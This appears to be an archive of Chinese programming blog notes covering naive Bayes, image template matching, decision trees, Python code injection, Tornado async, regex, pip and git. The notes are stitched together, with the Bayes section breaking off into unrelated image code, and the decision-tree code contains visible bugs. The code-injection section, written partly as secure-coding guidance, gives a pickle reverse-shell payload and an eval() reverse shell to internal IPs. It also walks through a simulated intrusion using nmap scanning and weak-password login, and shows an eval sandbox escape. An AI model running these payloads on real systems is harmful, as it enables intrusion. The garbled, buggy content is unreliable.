1. 写在前面的话
  2. 数学原理
  3. 准备流程
  4. 贝叶斯分类器
  5. Laplace校准
  6. 商品标题分类
  7. 自提问解答
  8. 分类器总结

0. 写在前面的话

当我在写这篇文章的时候是在第二遍学习朴素贝叶斯分类算法了,后面或许还会有更多实践才能深刻的理解。
朴素贝叶斯是一种构建分类器的方法,其样本的每个特征之间都是互相独立的,这样我们可以通过多个特征对应的分类确定样本的所属分类的概率。

1. 数学原理

若一个样本有n个特征,分别用x1,x2,...xn表示,将其划分到yk的可能性
$$ P(yk|x1,x2,…xn)=P(yk)P(x1|yk) P(x2|yk)…P(xn|yk) $$

图像匹配算法基于像素比较求和实现。

差分矩阵求和

通过计算两个图像矩阵数据之间的差异分析图像的相似性,然后设置阀值进行比较,公式如下:

1
差分矩阵 = 图像A矩阵数据 - 图像B矩阵数据

Python实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]
findpt = None
for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
if np.sum(comp_tz) < 1:
findpt = now_w, now_h
if findpt is not None:
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
return img

差分矩阵均值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]
findpt = None
for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
if abs(np.mean(comp_tz)) < 20:
findpt = now_w, now_h
if findpt is not None:
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
return img

欧氏距离匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]

minds = 1e8
mincb_h = 0
mincb_w = 0

for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
my_findimg = findimg
myx = np.array(my_img)
myy = np.array(my_findimg)
dis = np.sqrt(np.sum((myx - myy) * (myx - myy)))
if dis < minds:
mincb_h = now_h
mincb_w = now_w
minds = dis
print mincb_h, mincb_w, minds

findpt = mincb_w, mincb_h
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
return img

添加噪音

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

def add_noise(img):
"""
add_noise
:param img:
:return:
"""
count = 50000
for k in xrange(count):
xi = int(np.random.uniform(0, img.shape[1]))
xj = int(np.random.uniform(0, img.shape[0]))
img[xj, xi, 0] = 255 * np.random.rand()
img[xj, xi, 1] = 255 * np.random.rand()
img[xj, xi, 2] = 255 * np.random.rand()

原始图像
原始图像

待匹配图像

待匹配图像

加噪点匹配图像

加入噪点匹配图像

旋转加噪点匹配图像

旋转加噪点匹配图像

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 欧式距离匹配
"""
__author__ = "abc"

import cv2
import numpy as np


def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]

minds = 1e8
mincb_h = 0
mincb_w = 0

for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
my_findimg = findimg
dis = get_euclidean_distance(my_img, my_findimg)
if dis < minds:
mincb_h = now_h
mincb_w = now_w
minds = dis
print mincb_h, mincb_w, minds

findpt = mincb_w, mincb_h
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
return img


def get_euclidean_distance(x, y):
"""
计算欧氏距离
:param x:
:param y:
:return:
"""
myx = np.array(x)
myy = np.array(y)
return np.sqrt(np.sum((myx - myy) * (myx - myy)))


def add_noise(img):
"""
add_noise
:param img:
:return:
"""
count = 50000
for k in xrange(count):
xi = int(np.random.uniform(0, img.shape[1]))
xj = int(np.random.uniform(0, img.shape[0]))
img[xj, xi, 0] = 255 * np.random.rand()
img[xj, xi, 1] = 255 * np.random.rand()
img[xj, xi, 2] = 255 * np.random.rand()


def handle_img(imgpath, imgpath1, imgpath2):
"""
handle_img
:param imgpath:
:param imgpath1:
:param imgpath2:
:return:
"""
myimg = cv2.imread(imgpath)
myimg1 = cv2.imread(imgpath1)
myimg2 = cv2.imread(imgpath2)

add_noise(myimg)

myimg = show_pic_location(myimg, myimg1)
myimg = show_pic_location(myimg, myimg2)

cv2.namedWindow('img')
cv2.imshow('img', myimg)
cv2.waitKey()
cv2.destroyAllWindows()


if __name__ == "__main__":
imgpath = "/home/abc/Projects/machine_learning/img/test_r45.png"
imgpath1 = "/home/abc/Projects/machine_learning/img/test_1.png"
imgpath2 = "/home/abc/Projects/machine_learning/img/test_2.png"
handle_img(imgpath, imgpath1, imgpath2)

简单解释: 为信息的期望值,计算公式如下。

$$ info(D) = -\sum_{i=1}^m p_i log_2(p_i) $$

信息增益 是指在划分数据集之前之后信息发生的变化。对信息按属性A划分后取得的熵。
$$ info_A(D) = \sum_{j=1}^v \frac{|D_j|}{|D|}info(D_j) $$

计算两者之间的变化就是信息增益。
$$ gain(A) = info(D) - info_A(D) $$

如下算法计算最大信息增益。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#! /data/sever/python/bin/python
# -*- coding:utf-8 -*-
"""
决策树算法
"""
from __future__ import division
import math
import operator
from collections import Counter

__author__ = 'xyz'


def calc_shannon_ent(data_set):
"""
计算香农熵
:param data_set:
:return:
"""
data_length = len(data_set)
label_counts = Counter([val[-1] for val in data_set])
pilog2pi = [val / data_length * math.log(val / data_length, 2) for val in label_counts.itervalues()]
return - reduce(
operator.add,
pilog2pi
) if pilog2pi else 0


def split_data_set(data_set, axis, value):
"""
分割数据集,筛选指定特征下的数据值的集合
:param data_set: 数据集合
:param axis: 第几列
:param value: 筛选的值
:return: 除去axis列的,并且axis列的值为value的的数据集合
"""
return [[v for i, v in enumerate(val) if i != axis] for val in data_set if val[axis] == value]


def choose_best_feature_to_split(data_set):
"""
选择最好的数据集划分方式
:param data_set: 数据集
:return: 划分方式最好是第几项
"""
base_ent = calc_shannon_ent(data_set)
# 定义最好的信息增益,信息增益最好的那项
best_info_gain, best_feature = 0.0, -1
for i in range(len(data_set[0]) - 1):
unique_value = set(data_set[i])
child_ent = 0.0
for val in unique_value:
child_data_set = split_data_set(data_set, i, val)
child_ent += (len(data_set) - 1) / len(data_set) * calc_shannon_ent(child_data_set)
# 信息增益
info_gain = base_ent - child_ent
if info_gain > best_info_gain:
best_info_gain = info_gain
best_feature = i
return best_feature


def majority_ent(class_list):
"""
取出出现次数最多的标签
:param class_list:
:return:
"""
class_count = Counter(class_list)
sorted_class_count = sorted(class_count.items(), key=lambda x, y: cmp(x[1], y[1]), reverse=True)
return sorted_class_count[0][0]


def create_tree(data_set, labels):
"""
创建树
:param data_set: 数据集
:param labels: 标签集合
:return: 决策树
"""
class_list = [val[-1] for val in data_set]
if class_list.count(class_list[0]) == len(class_list):
return class_list[0]
if len(data_set[0]) == 1:
return majority_ent(class_list)
best_feat = choose_best_feature_to_split(data_set)
best_feat_label = labels[best_feat]
my_tree = {best_feat_label: {}}
del labels[best_feat]
feat_values = [val[best_feat] for val in data_set]
unique_vals = set(feat_values)
for value in unique_vals:
sub_labels = labels[:]
my_tree[best_feat_label][value] = create_tree(split_data_set(data_set, best_feat, value), sub_labels)
return my_tree

if __name__ == "__main__":
data_set = [[1, 1, 'yes'], [1, 1, 'yes'], [1, 0, 'no'], [0, 1, 'no'], [0, 1, 'no']]
# 计算熵
print calc_shannon_ent(data_set)
# 分割数据集
print split_data_set(data_set, 0, 1)
# 获取最大信息增益项
print choose_best_feature_to_split(data_set)
# 生成决策树
print create_tree(data_set, ['no surfacing', 'flippers'])

ID3算法

ID3算法就是在每次需要分裂时,计算每个属性的增益率,然后选择增益率最大的属性进行分裂。

C4.5算法

定义分裂信息。
$$ split\info_A(D) = - \sum{j=1}^v \frac{|D_j|}{|D|} log_2(\frac{|D_j|}{|D|}) $$
定义增益率。
$$ gain\_ratio(A) = \frac{gain(A)}{split\_info(A)} $$

C4.5选择具有最大增益率的属性作为分裂属性。
http://www.cnblogs.com/leoo2sk/archive/2010/09/19/decision-tree.html
决策树到底是干嘛用的,怎么去灵活运用决策树?

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

###Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数

1
>>> eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

1
>>> exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

1
>>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

1
>>> execfile("testf.py")

pickle.loads()代码注入
某不安全的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def load_session(self, session_id=None):
if not session_id:
session_id = self.gen_session_id()
session = Session(session_id, self)
else:
try:
data = self.backend.get(session_id)
if data:
data = pickle.loads(data)
assert type(data) == dict
else:
data = {}
except:
data = {}
session = Session(session_id, self, data)
return session

注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import os
>>> import pickle
>>> class exp(object):
... def __reduce__(self):
... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
... return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'

>>> pickle.loads(k)
0
>>>
[3]+ Stopped python

这些函数使用不当都很危险

os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:

  1. nmap扫描IP nmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。
  2. 暴力破解登录名密码 test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。
  3. 成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &\"')")

todo 第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。
todo 反向shell介绍

如何安全编码

  1. 严格控制输入,过滤所有危险模块,遇到非法字符直接返回。
  2. 使用ast.literal_eval()代替eval()
  3. 安全使用pickle

下面就着几个点来说一下:

eval()方法注释:

1
2
eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注释:

1
Safely evaluate an expression node or a string containing a Python expression.  The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

使用ast.literal_eval()代替eval()对比:

1
2
3
4
5
6
7
ast.literal_eval("1+1")  # ValueError: malformed string
ast.literal_eval("[1, 2, 3]") # [1, 2, 3]
ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}
ast.literal_eval("__import__('os').system('uname -a')") # ValueError: malformed string
eval("__import__('os').system('uname -a')") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {}) # NameError: name '__import__' is not defined

eval禁用全局或本地变量:

1
2
3
>>> global_a = "Hello Eval!"
>>> eval("global_a")
>>> eval("global_a", {}, {})

寻找eval的突破点

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

参考点:

1
2
3
4
5
6
7
8
9
(
lambda fc=(
lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]
):
fc("function")(
fc("code")(
0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),
{})()
)()

安全使用pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>>> import hmac
>>> import hashlib
>>> import pickle
>>> shared_key = '123456'
>>> class Exp(object):
... def __reduce__(self):
... s = "__import__('os').system('uname -a')"
... return (os.system, (s,))
...
>>> e = Exp()
>>> s = pickle.dumps(e)
>>> s
'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()
>>> k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> send_s = k + ' ' + s
>>> send_s
'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> recv_k, recv_s = send_s.split(' ', 1)
>>> recv_k, recv_s
('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')
>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()
>>> new_k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()
>>> diff_k
'381542893003a30d045c5c729713d2aa428128de'
>>>

如何提高安全编码意识?

参考资料

http://www.programcreek.com/python/example/5578/ast.literal_eval
https://segmentfault.com/a/1190000002783940
http://www.yunweipai.com/archives/6540.html
http://blog.csdn.net/chence19871/article/details/32718219
http://coolshell.cn/articles/8711.html
http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval
https://www.cigital.com/blog/python-pickling/
https://github.com/greysign/pysec/blob/master/safeeval.py

附录

nmap扫描部分结果

What is nmap?
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
-p : Only scan specified ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@bt:~# nmap -v -A *.*.*.* -p 1-65535 
Starting Nmap 6.25 ( http://nmap.org ) at 2016-07-26 13:30 EDT
......
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
1723/tcp open pptp Microsoft
8891/tcp open http nginx 1.4.4
9090/tcp closed zeus-admin
13228/tcp open http Microsoft IIS httpd 7.5
14580/tcp closed unknown
36666/tcp open unknown
64380/tcp open unknown
......
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
......
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds
Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

反向Shell

http://os.51cto.com/art/201312/424378.htm

http://www.tornadoweb.org/en/stable/guide/async.html

Real-time web features require a long-lived mostly-idle connection per user. In a traditional synchronous web server, this implies
devoting one thread to each user, which can be very expensive.
在同步状态下,实时的网络请求会一直占用着一个空的连接,这样每一个用户都会占用着一个线程,很浪费

To minimize the cost of concurrent connections, Tornado uses a single-threaded event loop. This means that all application code should aim to be asynchronous and non-blocking because only one operation can be active at a time.
为了最大限度的利用连接,Tornado使用单线程事件循环的方式。就是使应用采用异步和非阻塞的方式保持着当下只有一个活动的事件,同时又能接收多个应用请求。

The terms asynchronous and non-blocking are closely related and are often used interchangeably, but they are not quite the same thing.
异步和非阻塞这两个术语通常意思一样,但是他们也有不同的地方。

Blocking

A function blocks when it waits for something to happen before returning. A function may block for many reasons: network I/O, disk I/O, mutexes, etc. In fact, every function blocks, at least a little bit, while it is running and using the CPU (for an extreme example that demonstrates why CPU blocking must be taken as seriously as other kinds of blocking, consider password hashing functions like bcrypt, which by design use hundreds of milliseconds of CPU time, far more than a typical network or disk access).
等待这个功能模块返回结果前,函数有很多阻塞的原因,比如:网络I/O、磁盘I/O、互斥操作等。事实上每个功能模块在它运行的时候都会使用一点CPU资源(CPU阻塞必须要当做其它类型的阻塞)

A function can be blocking in some respects and non-blocking in others. For example, tornado.httpclient in the default configuration blocks on DNS resolution but not on other network access (to mitigate this use ThreadedResolver or a tornado.curl_httpclient with a properly-configured build of libcurl). In the context of Tornado we generally talk about blocking in the context of network I/O, although all kinds of blocking are to be minimized.
函数能在一些方面阻塞,在另一些方面不阻塞,*****,在Tornado下我们一般讨论的是网络I/O阻塞,其它情况都是很小的。
Tornado里面讨论的阻塞都是指网络阻塞,其它的阻塞可以忽略。

Asynchronous

An asynchronous function returns before it is finished, and generally causes some work to happen in the background before triggering some future action in the application (as opposed to normal synchronous functions, which do everything they are going to do before returning). There are many styles of asynchronous interfaces:
异步函数会在执行结束之前返回,在完成之后通常是一些后台程序去触发预先设定好的处理程序(不像同步程序,必须都做完了才返回)。下面列举了很多种风格的异步接口。

  • Callback argument 回调参数
  • Return a placeholder (Future, Promise, Deferred) 返回一个占位符
  • Deliver to a queue 交付到队列中
  • Callback registry (e.g. POSIX signals) 回调到注册表中

Regardless of which type of interface is used, asynchronous functions by definition interact differently with their callers; there is no free way to make a synchronous function asynchronous in a way that is transparent to its callers (systems like gevent use lightweight threads to offer performance comparable to asynchronous systems, but they do not actually make things asynchronous).
无论使用哪种接口,异步函数都会使用不同的方式与调用者交互;没有办法去定义一个同步函数却采用异步的方式调用,对于调用者来说都是透明的(就像采用gevent的轻量级线程系统去提供做到的性能堪比异步系统,但它实际上并不是异步)。
这句话的意思就是说同步的方法没法用异步的方式去调,虽然你写的代码看起来像是异步的,但其实并不是。

Examples

Here is a sample synchronous function:
下面的例子是一个同步函数。

1
2
3
4
5
6
from tornado.httpclient import HTTPClient

def synchronous_fetch(url):
http_client = HTTPClient()
response = http_client.fetch(url)
return response.body

And here is the same function rewritten to be asynchronous with a callback argument:
下面的例子被重写成异步的方式了,采用了回调参数的方式。

1
2
3
4
5
6
7
from tornado.httpclient import AsyncHTTPClient

def asynchronous_fetch(url, callback):
http_client = AsyncHTTPClient()
def handle_response(response):
callback(response.body)
http_client.fetch(url, callback=handle_response)

And again with a Future instead of a callback:
下面的例子通过返回一个展位符的方式实现异步回调的。

1
2
3
4
5
6
7
8
9
from tornado.concurrent import Future

def async_fetch_future(url):
http_client = AsyncHTTPClient()
my_future = Future()
fetch_future = http_client.fetch(url)
fetch_future.add_done_callback(
lambda f: my_future.set_result(f.result()))
return my_future

The raw Future version is more complex, but Futures are nonetheless recommended practice in Tornado because they have two major advantages. Error handling is more consistent since the Future.result method can simply raise an exception (as opposed to the ad-hoc error handling common in callback-oriented interfaces), and Futures lend themselves well to use with coroutines. Coroutines will be discussed in depth in the next section of this guide. Here is the coroutine version of our sample function, which is very similar to the original synchronous version:
通过Future的方式实现的更复杂,但是Tornado更建议这样去写,主要有两个原因。从Future返回的错误处理更一致,从Future.result方法可以返回一个简单的异常,Future能够更好的与协同程序一起使用。协同程序的具体讨论将会在下一节讨论,下面的例子给了一个协同程序的例子,写法很像同步的那个版本。

1
2
3
4
5
6
7
from tornado import gen

@gen.coroutine
def fetch_coroutine(url):
http_client = AsyncHTTPClient()
response = yield http_client.fetch(url)
raise gen.Return(response.body)

The statement raise gen.Return(response.body) is an artifact of Python 2, in which generators aren’t allowed to return values. To overcome this, Tornado coroutines raise a special kind of exception called a Return. The coroutine catches this exception and treats it like a returned value. In Python 3.3 and later, a return response.body achieves the same result.
这个版本中返回一个raise gen.Return(response.body),在Python2中的用法,因为生成器不允许返回一个值,所以Tornado做了特殊处理,通过跑出一个Return的异常,然后协同程序补货这个异常,就相当于返回值了。在Python3.3以后就可以直接返回这个值了。

Translated by zhangxu on 2016-08-05

正则表达式

用来匹配和处理文本的字符串。基本用途是查找和替换。一种不完备的程序设计语言。


含义列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.  # 英文句号,匹配任意单个字符包括自身,相当于DOS中的 ? ,SQL中的 _ 。
\ # 反斜杠,元字符,转义用。转义自身用 \\ 。
[] # 中括号,元字符,定义一个字符集合。
- # 连字符,字符区间用,比如0-9、A-Z。只能用在字符集合中。
^ # 取非匹配,字符区间用。
\d # 任何一个数字字符。
\D # 任何一个非数字字符。
\w # 任何一个字母数字字符或下划线字符([a-zA-Z0-9_])
\W # 任何一个非字母数字或非下划线字符([^a-zA-Z0-9_])
\s # 任何一个空白字符([\f\n\r\t\v])
\S # 任何一个非空白字符([^\f\n\r\t\v])
+ # 匹配一个或多个字符,放在字符或字符集合后面。
* # 匹配零个或多个字符,放在字符或字符集合后面。
? # 匹配零个或一个字符,放在字符或字符集合后面。
{} # 指定匹配个数的区间或精确值。{6}、{2,4}。

() # 子表达式
| # 或操作符

懒惰型匹配,匹配最小子集。

1
2
3
+?
*?
{n,}?

位置匹配

1
2
3
4
5
\b  # 单词边界
\B # 不是单词边界
^ # 字符串边界开始
$ # 字符串边界结束
(?m) # 分行匹配模式, 使表达式引擎将分隔符当做一个字符串分隔符对待。

回溯引用

下面例子匹配 空格 字符 空格
原始图片
下面的例子使回溯引用
原始图片
解释回溯引用,\1用来获取(\w+)中的字符串。第一个匹配上的of\1引用,就变成表达式[ ]+(\w+)[ ]+of
其中\1代表模式里的第一个子表达式,\2就会代表着第二个子表达式,以此递推。

替换

原始图片

大小写转换测试工具不支持,待测试

向前查找、向后查找

必须要放到一个字表达式中,如下例子,根据:来匹配,但是不消费他。
(?=) 向前查找

原始图片

(?<=) 向后查找
原始图片

(?!) 负向前查找
(?<!) 负向后查找

嵌入条件

(?(brackreference)true-regex)其中?表明这是一个条件,括号里的brackreference是一个回溯引用,true-regex是一个只在backreference存在时才会被执行的子表达式。
原始图片


例子

不区分大小写匹配

原始图片

字符区间匹配

原始图片

取非匹配

原始图片

匹配多个字符

原始图片

子表达式

原始图片

匹配四位数的年份

原始图片

嵌入查找、向后查找组合应用

原始图片

pip

pip更新python -m pip install -U pip

pipy国内镜像目前有:

https://pypi.douban.com/ 豆瓣

https://mirrors.tuna.tsinghua.edu.cn/pypi/web/ 清华大学

指定源安装

pip可以通过指定源的方式安装 pip install web.py -i https://pypi.douban.com/simple

也可以通过修改配置文件,Linux的文件在~/.pip/pip.conf,Windows在%HOMEPATH%\pip\pip.ini

1
2
[global]
index-url = https://pypi.douban.com/simple

easy_install

easy_install指定源安装 easy_install -i https://pypi.douban.com/simple

或者修改配置文件 ~/.pydistutils.cfg

1
2
[easy_install]
index_url = http://e.pypi.python.org/simple

easy_install查看包的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@xyz-pc:~# easy_install tornado -v
Searching for tornado
Best match: tornado 4.0.2
tornado 4.0.2 is already the active version in easy-install.pth

Using /usr/lib/python2.7/dist-packages
Processing dependencies for tornado
Finished processing dependencies for tornado
Searching for -v
Reading https://pypi.python.org/simple/-v/
Couldn't find index page for '-v' (maybe misspelled?)
Scanning index of all packages (this may take a while)
Reading https://pypi.python.org/simple/
No local packages or download links found for -v
error: Could not find suitable distribution for Requirement.parse('-v')

安装Python安装包管理工具相关命令

安装easy_install:apt-get install python-setuptools

sudo yum install python-setuptools-devel

esay_install pip

pip指定版本:pip install 'pymongo<2.8'

升级版本:pip install --upgrade pymongo

查看已安装包:pip show --files SomePackage

查看需要更新的包:pip list --outdated

卸载包:pip uninstall SomePackage

帮助:pip --help

指定豆瓣源安装:pip install -i https://pypi.douban.com/simple/ functools32

查看已安装包:pip list

http://www.cnblogs.com/taosim/articles/3288821.html

pipenv

安装 pip3 install pipenv

安装虚拟环境 pipenv install

启动虚拟环境 pipenv shell

查看当前环境依赖 pip3 list

退出虚拟环境 exit

安装 pipenv install ……

卸载 pipenv uninstall ……

查看依赖关系 pipenv graph

查看虚拟环境路径 pipenv --venv

删除环境 pipenv --rm

创建 Python3 环境 pipenv --three

git fetch merge
1
2
3
4
git remote -vv
git remote add base git@git.in.xxx.com:sss/xxx.git
git fetch base
git merge base/master
git切换远程仓库地址
1
git remote set-url origin [url]
使用git在本地创建一个项目的过程
1
2
3
4
5
6
7
8
$ makdir ~/hello-world    //创建一个项目hello-world
$ cd ~/hello-world //打开这个项目
$ git init //初始化
$ touch README
$ git add README //更新README文件
$ git commit -m 'first commit' //提交更新,并注释信息“first commit”
$ git remote add origin git@github.test/hellotest.git //连接远程github项目
$ git push -u origin master //将本地项目更新到github项目上去

git设置关闭自动换行

git config --global core.autocrlf false
为了保证文件的换行符是以安全的方法,避免windows与unix的换行符混用的情况,最好也加上这么一句
git config --global core.safecrlf true


git tag 使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
git tag  # 列出当前仓库的所有标签
git tag -l 'v0.1.*' # 搜索符合当前模式的标签

git tag v0.2.1-light # 创建轻量标签
git tag -a v0.2.1 -m '0.2.1版本' # 创建附注标签

git checkout [tagname] # 切换到标签
git show v0.2.1 # 查看标签版本信息

git tag -d v0.2.1 # 删除标签
git tag -a v0.2.1 9fbc3d0 # 补打标签

git push origin v0.1.2 # 将v0.1.2标签提交到git服务器
git push origin –tags # 将本地所有标签一次性提交到git服务器
git tag # 查看当前分支下的标签

git pull问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
You asked me to pull without telling me which branch you
want to merge with, and 'branch.content_api_zhangxu.merge' in
your configuration file does not tell me, either. Please
specify which branch you want to use on the command line and
try again (e.g. 'git pull <repository> <refspec>').
See git-pull(1) for details.

If you often merge with the same branch, you may want to
use something like the following in your configuration file:

[branch "content_api_zhangxu"]
remote = <nickname>
merge = <remote-ref>

[remote "<nickname>"]
url = <url>
fetch = <refspec>

See git-config(1) for details.

git pull origin new_branch


怎样遍历移除项目中的所有 .pyc 文件

sudo find /tmp -name "*.pyc" | xargs rm -rf替换/tmp目录为工作目录
git rm *.pyc这个用着也可以

避免再次误提交,在项目新建.gitignore文件,输入*.pyc过滤文件


git变更项目地址

git remote set-url origin git@192.168.6.70:res_dev_group/test.git
git remote -v


查看某个文件的修改历史

git log --pretty=oneline 文件名 # 显示修改历史
git show 356f6def9d3fb7f3b9032ff5aa4b9110d4cca87e # 查看更改


git push 时报错 warning: push.default is unset

git_push.jpg
‘matching’ 参数是 Git 1.x 的默认行为,其意是如果你执行 git push 但没有指定分支,它将 push 所有你本地的分支到远程仓库中对应匹配的分支。而 Git 2.x 默认的是 simple,意味着执行 git push 没有指定分支时,只有当前分支会被 push 到你使用 git pull 获取的代码。
根据提示,修改git push的行为:
git config –global push.default matching
再次执行git push 得到解决。


git submodule的使用拉子项目代码

开发过程中,经常会有一些通用的部分希望抽取出来做成一个公共库来提供给别的工程来使用,而公共代码库的版本管理是个麻烦的事情。今天无意中发现了git的git submodule命令,之前的问题迎刃而解了。
添加

为当前工程添加submodule,命令如下:

